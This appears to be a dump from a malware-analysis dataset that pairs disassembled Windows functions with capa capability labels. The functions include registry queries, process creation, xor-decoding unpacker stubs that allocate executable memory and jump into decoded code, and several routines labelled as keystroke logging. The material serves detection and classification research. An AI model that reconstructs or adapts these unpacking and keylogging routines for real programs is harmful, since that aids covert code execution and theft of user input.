joyce8/EMBER2024-capa huggingface dataset:
Function at 0x437f6b
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x278
mov eax, 0x46d084
call fcn.0045f3fe
mov esi, ecx
xor edi, edi
inc edi
mov dword [ebp - 4], edi
mov eax, dword [ebp + 0xc]
xor ebx, ebx
cmp dword [ebp + 0x20], 8
mov dword [ebp - 0x278], ebx
jae 0x437f96
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x278]
push ecx
push edi
push ebx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x437fd4
mov byte [ebp - 4], bl
push ebx
push edi
lea ecx, [ebp + 8]
call fcn.004610c9
or dword [ebp - 4], 0xffffffff
push ebx
push edi
lea ecx, [ebp + 0x24]
call fcn.004610c9
xor al, al
call fcn.0045f490
ret 0x38
xor eax, eax
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push ebx
push eax
call fcn.004433d0
mov eax, dword [ebp + 0x28]
add esp, 0xc
cmp dword [ebp + 0x3c], 8
mov dword [ebp - 0x280], 0x103
mov dword [ebp - 0x27c], ebx
jae 0x43800e
lea eax, [ebp + 0x28]
lea ecx, [ebp - 0x280]
push ecx
lea ecx, [ebp - 0x218]
push ecx
lea ecx, [ebp - 0x27c]
push ecx
push ebx
push eax
push dword [ebp - 0x278]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x278]
test eax, eax
je 0x43806f
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 0x271], bl
mov byte [ebp - 4], bl
push ebx
push 1
lea ecx, [ebp + 8]
call fcn.004610c9
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp + 0x24]
call fcn.004610c9
mov al, byte [ebp - 0x271]
jmp 0x437fcc
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x270]
push eax
call fcn.00437b61
mov byte [ebp - 4], 2
lea eax, [ebp - 0x244]
push eax
call fcn.00437b61
mov byte [ebp - 4], 3
sub esp, 0x1c
add esi, 4
mov ecx, esp
mov dword [ebp - 0x284], esp
push esi
call fcn.004610c9
mov byte [ebp - 4], 4
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x270]
call fcn.00437b9b
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.004610c9
lea ebx, [ebp - 0x244]
call fcn.00437bdc
mov eax, ebx
lea ecx, [ebp - 0x270]
call fcn.00437d1b
test eax, eax
je 0x438114
mov byte [ebp - 4], 2
mov eax, ebx
push eax
call fcn.00430721
mov byte [ebp - 4], 1
lea eax, [ebp - 0x270]
push eax
call fcn.00430721
mov byte [ebp - 0x271], 1
xor ebx, ebx
jmp 0x438047
mov byte [ebp - 4], 2
lea eax, [ebp - 0x244]
push eax
call fcn.00430721
mov byte [ebp - 4], 1
lea eax, [ebp - 0x270]
push eax
call fcn.00430721
mov byte [ebp - 0x271], 0
jmp 0x43810d
Function at 0x43dff7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x47c144]
jne 0x43e001
repz ret
jmp fcn.0044174c

Function at 0x44b57b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x47edbc], 0
push esi
jne 0x44b4e9
call fcn.0044b405
test eax, eax
je 0x44b52c
mov eax, dword [0x47edbc]
cmp eax, 1
jne 0x44b50a
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x44b52c
pop esi
ret
push eax
call dword [0x47edc4]
test eax, eax
jne 0x44b574
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x44b530
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x47edbc]
call dword [0x47edc4]
mov edi, eax
test edi, edi
je 0x44b555
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
jmp 0x44b571
mov edi, esi
add esi, 0xff0
push edi
push dword [0x47edbc]
call dword [0x47edc0]
add edi, 0x10
cmp edi, esi
jb 0x44b55d
mov eax, edi
pop edi
pop esi
ret
jmp 0x44b4d6
Function at 0x451d84
Capabilities:
Get hostname

Disassembly:
push 0x248
mov eax, 0x467e8a
call fcn.0045f3fe
xor eax, eax
push 0x206
mov word [ebp - 0x218], ax
xor ebx, ebx
lea eax, [ebp - 0x216]
push ebx
push eax
call fcn.004433d0
add esp, 0xc
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x254], 0x104
xor esi, esi
call fcn.00451cc2
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x24c], 2
jne 0x451ddf
cmp dword [ebp - 0x248], 5
jae 0x451df6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x250]
call fcn.0045170d
mov al, bl
call fcn.0045f490
ret
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x218]
push eax
push 7
call sub.Secur32.dll_GetComputerObjectNameW
test al, al
je 0x451e55
lea eax, [ebp - 0x218]
push 0x2f
push eax
call fcn.004610c9
pop ecx
pop ecx
cmp eax, ebx
je 0x451e55
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.004610c9
lea eax, [ebp - 0x218]
push 0x4041b4
push eax
call fcn.004610c9
add esp, 0x10
mov esi, eax
neg esi
sbb esi, esi
neg esi
cmp esi, ebx
setne bl
jmp 0x451ddf
Function at 0x45582b
Capabilities:
Create directory

Disassembly:
push 0x294
mov eax, 0x468ca0
call fcn.0045f3fe
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x240], ebx
push 0x208
mov word [ebp - 0x21c], ax
lea eax, [ebp - 0x21a]
push ebx
push eax
mov dword [ebp - 0x23c], esi
mov dword [ebp - 0x248], edi
mov dword [ebp - 0x244], ebx
call fcn.004433d0
add esp, 0xc
lea eax, [ebp - 0x21c]
push eax
push 0x104
call fcn.004610c9
test eax, eax
jne 0x4558ad
push 0x409384
mov ecx, esi
call fcn.004610c9
mov dword [ebp - 4], ebx
mov dword [ebp - 0x240], 1
mov eax, esi
jmp 0x455a27
push ebx
lea eax, [ebp - 0x268]
push eax
call fcn.00451af8
mov dword [ebp - 0x24c], eax
xor esi, esi
inc esi
mov dword [ebp - 4], esi
push edi
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x284]
push eax
call fcn.00414de7
mov byte [ebp - 4], 2
push dword [ebp - 0x24c]
push eax
lea eax, [ebp - 0x238]
push eax
call fcn.00419205
add esp, 0x18
mov byte [ebp - 4], 4
push ebx
push esi
lea ecx, [ebp - 0x284]
call fcn.004610c9
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x268]
push ebx
push esi
call fcn.004610c9
cmp dword [ebp - 0x220], 8
mov eax, dword [ebp - 0x234]
jae 0x45592b
lea eax, [ebp - 0x234]
push ebx
push eax
call fcn.004610c9
pop ecx
pop ecx
test eax, eax
jne 0x4559cc
inc dword [ebp - 0x244]
push dword [ebp - 0x244]
lea eax, [ebp - 0x2a0]
push eax
call fcn.00451af8
mov edi, eax
mov byte [ebp - 4], 6
push dword [ebp - 0x248]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x284]
push eax
call fcn.00414de7
mov byte [ebp - 4], 7
push edi
push eax
lea eax, [ebp - 0x268]
push eax
call fcn.00419205
add esp, 0x18
mov byte [ebp - 4], 8
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x238]
call fcn.004610c9
mov byte [ebp - 4], 7
push ebx
push esi
lea ecx, [ebp - 0x268]
call fcn.004610c9
mov byte [ebp - 4], 6
push ebx
push esi
lea ecx, [ebp - 0x284]
call fcn.004610c9
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2a0]
jmp 0x45590f
cmp dword [ebp - 0x220], 8
mov eax, dword [ebp - 0x234]
jae 0x4559e1
lea eax, [ebp - 0x234]
push ebx
push eax
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 0x23c]
test eax, eax
jne 0x4559ff
push 0x409384
call fcn.004610c9
jmp 0x455a0b
lea eax, [ebp - 0x238]
push eax
call fcn.004610c9
mov dword [ebp - 0x240], esi
mov byte [ebp - 4], bl
push ebx
push esi
lea ecx, [ebp - 0x238]
call fcn.004610c9
mov eax, dword [ebp - 0x23c]
call fcn.0045f490
ret 8
Function at 0x4567b5
Capabilities:
Create process on windows

Disassembly:
push 0xb4
mov eax, 0x468f27
call fcn.0045f3fe
mov edi, dword [ebp + 8]
mov esi, ecx
call fcn.004610c9
mov eax, dword [eax + 0x40]
add esi, 8
push esi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x50], eax
call fcn.004610c9
xor ebx, ebx
mov dword [ebp - 4], ebx
push 0x405a38
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.004191b1
mov byte [ebp - 4], 1
push edi
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.00419205
add esp, 0x18
mov byte [ebp - 4], 3
push ebx
push 1
lea ecx, [ebp - 0x7c]
call fcn.004610c9
mov esi, dword [ebp - 0x34]
inc esi
xor ecx, ecx
push 2
pop edx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004610c9
mov edi, eax
pop ecx
cmp edi, ebx
jne 0x456861
mov byte [ebp - 0x49], bl
mov byte [ebp - 4], bl
push ebx
push 1
lea ecx, [ebp - 0x48]
call fcn.004610c9
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.004610c9
mov al, byte [ebp - 0x49]
call fcn.0045f490
ret 4
lea eax, [esi + esi]
push eax
push ebx
push edi
call fcn.004433d0
mov eax, dword [ebp - 0x44]
add esp, 0xc
cmp dword [ebp - 0x30], 8
jae 0x45687b
lea eax, [ebp - 0x44]
push eax
push esi
push edi
call fcn.004610c9
push 0x44
pop esi
push esi
lea eax, [ebp - 0xc0]
push ebx
push eax
call fcn.004433d0
add esp, 0x18
mov dword [ebp - 0xc0], esi
cmp dword [ebp - 0x50], ebx
je 0x4568c0
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x4568ae
lea eax, [ebp - 0x28]
push edi
push eax
push 0x4059b0
push dword [ebp - 0x50]
call fcn.004610c9
add esp, 0x10
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x4568cc
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x60]
push ecx
lea ecx, [ebp - 0xc0]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
push eax
call dword [sym.imp.kernel32.dll_CreateProcessW]
test eax, eax
je 0x456909
push 0xffffffffffffffff
push dword [ebp - 0x60]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [ebp - 0x60]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
call esi
push dword [ebp - 0x5c]
call esi
xor esi, esi
inc esi
jmp 0x45690b
xor esi, esi
push edi
call fcn.004610c9
cmp esi, ebx
pop ecx
setne byte [ebp - 0x49]
jmp 0x456839
Function at 0x4610c9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x4610d8
pop dword [ebp - 4]
mov eax, 0x62e6ebed
add eax, 0x9d5f24eb
sub dword [ebp - 4], eax
push 0x40
push 0x1000
push 0x545a0
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 4]
call dword [eax]
mov ecx, 0x2df1a67e
sub ecx, 0x2df15627
mov edx, eax
mov esi, 0x2569dd8b
add esi, 0xdadf0a75
add esi, dword [ebp - 4]
mov ebx, 0x70288de0
add ebx, 0x8745db7e
mov edi, dword [esi]
xor edi, ebx
mov dword [edx], edi
add edx, 0xfc92db03
add edx, 0x36d2501
add esi, 0x9e92efd6
sub esi, 0x9e92efd2
loop 0x461132
add eax, 0x6889cb5f
sub eax, 0x68889730
mov ebx, eax
add eax, 0x610e9264
sub eax, 0x610e925f
mov ecx, 0x400000
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x406802
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x406811
pop dword [ebp - 0x20]
mov eax, 0x498644b9
sub eax, 0x4945dca8
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x3f6eeae1
sub dword [ebp - 0x30], 0xf11ca596
mov dword [ebp - 0x2c], 0x66145652
add dword [ebp - 0x2c], 0xcc1ef5f3
mov dword [ebp - 0x28], 0xbf5b740e
add dword [ebp - 0x28], 0x8cf0d020
mov dword [ebp - 0x24], 0x5445549f
add dword [ebp - 0x24], 0xabbaab61
lea eax, [ebp - 0x30]
push eax
mov eax, 0x77482ad4
add eax, 0x88f8b628
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xe12c18c4
add dword [ebp - 0x30], 0x93465092
mov dword [ebp - 0x2c], 0xd21dc7ad
add dword [ebp - 0x2c], 0x6f4e99c8
mov dword [ebp - 0x28], 0xadff8e15
sub dword [ebp - 0x28], 0x4a9021a9
mov dword [ebp - 0x24], 0x3984789d
add dword [ebp - 0x24], 0xc67b8763
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3dcc2
push 0
call eax
mov ecx, 0xc31cf7c3
sub ecx, 0xc31c9762
xor edi, edi
add edi, eax
mov edx, 0x41f000
add edx, dword [ebp - 0x20]
mov esi, 0x1df02198
add esi, 0xa39949ce
xor dword [ebp - 0xc], edi
mov ebx, dword [edx]
sub ebx, esi
xor dword [ebp - 0x18], ebx
mov dword [edi], ebx
mov dword [ebp - 0x1c], 0x5eda3
add edi, 0x723e629a
add edi, 0x8dc19d6a
add edx, 0x66cc5e9e
add edx, 0x9933a166
loop 0x40692a
add eax, 0x17457
mov ebx, eax
add eax, 0x3f761bf6
add eax, 0xc089e40f
mov ecx, 0x2627a4ea
sub ecx, 0x25e7a4ea
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x406b16
Capabilities:
Query environment variable

Disassembly:
push ebp
lea ebp, [esp - 0x108]
sub esp, 0x108
push 0xffffffffffffffff
push 0x40d6f8
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x41a174]
xor eax, ebp
mov dword [ebp + 0x104], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 0x110]
lea eax, [ebp]
mov edi, dword [ebp + 0x114]
mov ebx, 0x104
push ebx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp]
push ebx
push eax
push esi
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x406bb4
cmp eax, ebx
jae 0x406bb4
lea eax, [ebp]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004060ea
pop ecx
pop ecx
and dword [ebp - 4], 0
mov esi, dword [ebp - 0x18]
jmp 0x406ba7
push esi
lea ecx, [edi + 0x18]
call fcn.00403db8
add esi, 0x18
cmp esi, dword [ebp - 0x14]
jne 0x406b9b
lea ecx, [ebp - 0x18]
call fcn.0040422a
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x104]
xor ecx, ebp
call fcn.0040baa8
add ebp, 0x108
leave
ret
Function at 0x4028fa
Capabilities:
Create thread

Disassembly:
push ebx
push ebp
push esi
push edi
push 0xc
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push 2
xor ebp, ebp
push ebp
mov edi, eax
push ebp
push edi
call esi
push eax
mov eax, dword [esp + 0x28]
push dword [eax]
call esi
mov ebx, dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
push eax
call ebx
push 2
push ebp
push ebp
lea eax, [edi + 8]
push eax
call esi
push eax
mov eax, dword [esp + 0x30]
push dword [eax]
call esi
push eax
call ebx
mov eax, dword [esp + 0x18]
mov eax, dword [eax]
push ebp
push ebp
push edi
push 0x402968
push ebp
push ebp
mov dword [edi + 4], eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x4037ab
Capabilities:
Log keystrokes

Disassembly:
push ebx
push ebp
push edi
push 1
push dword [esi]
call fcn.004050d9
mov edi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebp, ebp
push ebp
push 0x25
call edi
mov ebx, dword [sym.imp.USER32.dll_PostMessageW]
shl eax, 0x10
or eax, 1
cmp dword [esp + 0x10], ebp
push eax
jge 0x4037fb
push 0x25
push 0x100
push dword [esi]
call ebx
push ebp
call dword [sym.imp.KERNEL32.DLL_Sleep]
push ebp
push 0x25
call edi
shl eax, 0x10
or eax, 0xc0000001
push eax
push 0x25
jmp 0x40381d
push 0x27
push 0x100
push dword [esi]
call ebx
push ebp
call dword [sym.imp.KERNEL32.DLL_Sleep]
push ebp
push 0x25
call edi
shl eax, 0x10
or eax, 0xc0000001
push eax
push 0x27
push 0x101
push dword [esi]
call ebx
push ebp
call dword [sym.imp.KERNEL32.DLL_Sleep]
push ebp
push dword [esi]
call fcn.004050d9
pop edi
pop ebp
mov al, 1
pop ebx
ret 4

Function at 0x403c7b
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
mov ebx, eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 0xb0
push dword [ebx]
call esi
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 8]
jne 0x403ca8
xor al, al
jmp 0x403cbc
push edi
push 0
push 0
push 0xe
push dword [ebx]
call esi
mov edi, eax
test edi, edi
jne 0x403cc2
xor al, al
pop edi
pop esi
pop ebx
leave
ret 4
xor ecx, ecx
push 2
pop edx
lea eax, [edi + 0x101]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0044f8e7
pop ecx
push eax
mov dword [ebp - 4], eax
lea eax, [edi + 1]
push eax
push 0xd
push dword [ebx]
call esi
test eax, eax
je 0x403d1f
mov eax, dword [ebp - 8]
cmp eax, edi
je 0x403cfe
mov ecx, dword [ebp - 4]
and word [ecx + eax*2], 0
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax*2]
push eax
mov eax, dword [ebp + 8]
call fcn.0041018f
mov bl, 1
push dword [ebp - 4]
call fcn.0044f951
pop ecx
mov al, bl
jmp 0x403cbb
xor bl, bl
jmp 0x403d12
Function at 0x40a14c
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x108
push ebx
mov ebx, 0x200
test ebx, eax
push ebp
push edi
je 0x40a165
or dword [esi + 0x23c], 8
test ax, 0x400
je 0x40a172
or dword [esi + 0x23c], 1
mov edi, 0x100
test edi, eax
je 0x40a182
or dword [esi + 0x23c], 2
mov eax, dword [esi + 0x23c]
test al, 8
je 0x40a19b
test ax, 0x800
je 0x40a19b
xor eax, 8
mov dword [esi + 0x23c], eax
mov eax, dword [esi + 0x23c]
test al, 1
je 0x40a1b2
test edi, eax
je 0x40a1b2
xor eax, 1
mov dword [esi + 0x23c], eax
mov eax, dword [esi + 0x23c]
test al, 2
je 0x40a1c9
test ebx, eax
je 0x40a1c9
xor eax, 2
mov dword [esi + 0x23c], eax
mov eax, dword [esi + 0x23c]
test al, 0x10
je 0x40a1e2
test ax, 0x1000
je 0x40a1e2
xor eax, 0x10
mov dword [esi + 0x23c], eax
cmp dword [esi + 0x240], 0
je 0x40a23f
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov eax, dword [esi + 0x23c]
test ax, 0x800
jne 0x40a207
mov byte [esp + 0x21], 0
test edi, eax
jne 0x40a210
mov byte [esp + 0x22], 0
test ebx, eax
jne 0x40a224
mov ecx, dword [esi + 0x24c]
mov byte [esp + 0x20], 0
mov byte [esp + ecx + 0x10], 0
test ax, 0x1000
jne 0x40a22f
mov byte [esp + 0x6b], 0
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_SetKeyboardState]
jmp 0x40a330
mov ebp, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0x11
pop ebx
push ebx
call ebp
mov edi, 0x8000
test di, ax
jne 0x40a261
push ebx
call dword [sym.imp.USER32.dll_GetKeyState]
test di, ax
je 0x40a275
test word [esi + 0x23c], 0x800
jne 0x40a275
push 0
mov eax, esi
call fcn.0040ab50
push 0x12
pop ebx
push ebx
call ebp
test di, ax
jne 0x40a28c
push ebx
call dword [sym.imp.USER32.dll_GetKeyState]
test di, ax
je 0x40a2a0
test word [esi + 0x23c], 0x100
jne 0x40a2a0
push 0
mov eax, esi
call fcn.0040ab50
push dword [esi + 0x24c]
call ebp
test di, ax
jne 0x40a2be
push dword [esi + 0x24c]
call dword [sym.imp.USER32.dll_GetKeyState]
test di, ax
je 0x40a2d8
test word [esi + 0x23c], 0x200
jne 0x40a2d8
mov ebx, dword [esi + 0x24c]
push 0
mov eax, esi
call fcn.0040ab50
mov ebx, 0xa1
push ebx
call ebp
test di, ax
jne 0x40a2f1
push ebx
call dword [sym.imp.USER32.dll_GetKeyState]
test di, ax
je 0x40a305
test word [esi + 0x23c], 0x400
jne 0x40a305
push 0
mov eax, esi
call fcn.0040ab50
push 0x5b
pop ebx
push ebx
call ebp
test di, ax
jne 0x40a31c
push ebx
call dword [sym.imp.USER32.dll_GetKeyState]
test di, ax
je 0x40a330
test word [esi + 0x23c], 0x1000
jne 0x40a330
push 0
mov eax, esi
call fcn.0040ab50
pop edi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x40a5fb
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
mov ebx, dword [ebp + 8]
test bl, 0x1f
push edi
je 0x40a801
mov eax, dword [esi + 0x240]
xor edi, edi
cmp eax, edi
je 0x40a786
push eax
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
je 0x40a786
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov edi, ebx
and edi, 0x10
mov cl, 0x80
je 0x40a64d
or byte [ebp - 0xb9], cl
mov dword [ebp - 0x10], ebx
and dword [ebp - 0x10], 2
je 0x40a66b
mov eax, dword [esi + 0x24c]
or byte [ebp - 0x104], cl
lea eax, [ebp + eax - 0x114]
or byte [eax], cl
mov dword [ebp - 0x14], ebx
and dword [ebp - 0x14], 4
je 0x40a67d
or byte [ebp - 0x104], cl
or byte [ebp - 0x73], cl
mov dword [ebp - 8], ebx
and dword [ebp - 8], 8
je 0x40a68c
or byte [ebp - 0x103], cl
mov dword [ebp - 0xc], ebx
and dword [ebp - 0xc], 1
je 0x40a69b
or byte [ebp - 0x102], cl
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.USER32.dll_SetKeyboardState]
test edi, edi
mov edi, dword [sym.imp.USER32.dll_PostMessageW]
mov ebx, 0x100
je 0x40a6d0
movzx eax, byte [esi + 0x249]
shl eax, 0x10
or eax, 1
push eax
push 0x5b
push ebx
push dword [esi + 0x240]
call edi
cmp dword [ebp - 0x10], 0
je 0x40a6f3
movzx eax, byte [esi + 0x247]
shl eax, 0x10
or eax, 1
push eax
push dword [esi + 0x24c]
push ebx
push dword [esi + 0x240]
call edi
cmp dword [ebp - 0x14], 0
je 0x40a712
movzx eax, byte [esi + 0x248]
shl eax, 0x10
or eax, 1
push eax
push 0x10
push ebx
push dword [esi + 0x240]
call edi
cmp dword [ebp - 8], 0
je 0x40a731
movzx eax, byte [esi + 0x244]
shl eax, 0x10
or eax, 1
push eax
push 0x11
push ebx
push dword [esi + 0x240]
call edi
xor eax, eax
cmp dword [ebp - 0xc], eax
je 0x40a7f8
cmp dword [ebp - 8], eax
jne 0x40a762
test word [ebp + 8], 0x800
jne 0x40a762
movzx eax, byte [esi + 0x245]
shl eax, 0x10
or eax, 0x20000001
push eax
push 0x12
push 0x104
jmp 0x40a77c
cmp dword [ebp - 0xc], eax
je 0x40a7f8
movzx eax, byte [esi + 0x245]
shl eax, 0x10
or eax, 1
push eax
push 0x12
push ebx
push dword [esi + 0x240]
call edi
jmp 0x40a7f8
test bl, 0x10
je 0x40a79b
movzx eax, byte [esi + 0x249]
push edi
push eax
push 0x5b
call fcn.00409f92
test bl, 2
je 0x40a7b6
movzx eax, byte [esi + 0x247]
push edi
push eax
movzx eax, byte [esi + 0x24c]
push eax
call fcn.00409f92
test bl, 4
je 0x40a7ce
movzx eax, byte [esi + 0x248]
push edi
push eax
push 0xa1
call fcn.00409f92
test bl, 8
je 0x40a7e3
movzx eax, byte [esi + 0x244]
push edi
push eax
push 0x11
call fcn.00409f92
test bl, 1
je 0x40a7f8
movzx eax, byte [esi + 0x245]
push edi
push eax
push 0x12
call fcn.00409f92
mov edi, dword [esi + 4]
push esi
call fcn.0040b0ec
pop edi
pop ebx
leave
ret 4
Function at 0x40aa46
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
push edi
mov edi, eax
push 0
push edi
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
cmp dword [ebx + 0x240], 0
mov esi, eax
je 0x40ab19
cmp edi, 0x14
je 0x40ab19
cmp edi, 0x90
je 0x40ab19
cmp edi, 0x91
je 0x40ab19
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
or byte [ebp + edi - 0x104], 0x80
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_SetKeyboardState]
xor edx, edx
shl esi, 0x10
inc edx
or esi, edx
cmp byte [ebp + 8], dl
je 0x40aacf
cmp edi, 0x2d
je 0x40aac9
mov eax, edi
call fcn.0040a4e3
jmp 0x40aacb
mov al, dl
cmp al, dl
jne 0x40aad5
or esi, 0x1000000
mov ecx, dword [ebx + 0x23c]
test dl, cl
mov eax, 0x100
jne 0x40aaed
test eax, ecx
jne 0x40aaed
cmp edi, 0x12
jne 0x40ab08
test cl, 8
jne 0x40ab08
test cx, 0x800
jne 0x40ab08
or esi, 0x20000000
push esi
push edi
push 0x104
jmp 0x40ab0b
push esi
push edi
push eax
push dword [ebx + 0x240]
call dword [sym.imp.USER32.dll_PostMessageW]
jmp 0x40ab41
xor edx, edx
inc edx
cmp byte [ebp + 8], dl
je 0x40ab39
cmp edi, 0x2d
je 0x40ab2f
mov eax, edi
call fcn.0040a4e3
jmp 0x40ab31
mov al, dl
cmp al, dl
je 0x40ab39
push 0
jmp 0x40ab3a
push edx
push esi
push edi
call fcn.00409f92
mov edi, dword [ebx + 4]
push ebx
call fcn.0040b0ec
pop edi
pop esi
leave
ret 4

Function at 0x40ab50
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
push edi
push 0
push ebx
mov edi, eax
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
cmp dword [edi + 0x240], 0
mov esi, eax
je 0x40ac26
cmp ebx, 0x14
je 0x40ac26
cmp ebx, 0x90
je 0x40ac26
cmp ebx, 0x91
je 0x40ac26
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
shl esi, 0x10
or esi, 0xc0000001
cmp byte [ebp + 8], 1
je 0x40abc6
cmp ebx, 0x2d
je 0x40abc0
mov eax, ebx
call fcn.0040a4e3
jmp 0x40abc2
mov al, 1
cmp al, 1
jne 0x40abcc
or esi, 0x1000000
mov eax, dword [edi + 0x23c]
test al, 1
jne 0x40abe1
test ax, 0x100
jne 0x40abe1
cmp ebx, 0x12
jne 0x40abfa
test al, 8
jne 0x40abfa
test ax, 0x800
jne 0x40abfa
or esi, 0x20000000
push esi
push ebx
push 0x105
jmp 0x40ac01
push esi
push ebx
push 0x101
push dword [edi + 0x240]
call dword [sym.imp.USER32.dll_PostMessageW]
lea eax, [ebp + ebx - 0x104]
xor byte [eax], 0x80
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_SetKeyboardState]
jmp 0x40ac4d
cmp byte [ebp + 8], 1
je 0x40ac44
cmp ebx, 0x2d
je 0x40ac3a
mov eax, ebx
call fcn.0040a4e3
jmp 0x40ac3c
mov al, 1
cmp al, 1
je 0x40ac44
push 2
jmp 0x40ac46
push 3
push esi
push ebx
call fcn.00409f92
push edi
mov edi, dword [edi]
call fcn.0040b0ec
pop edi
pop esi
leave
ret 4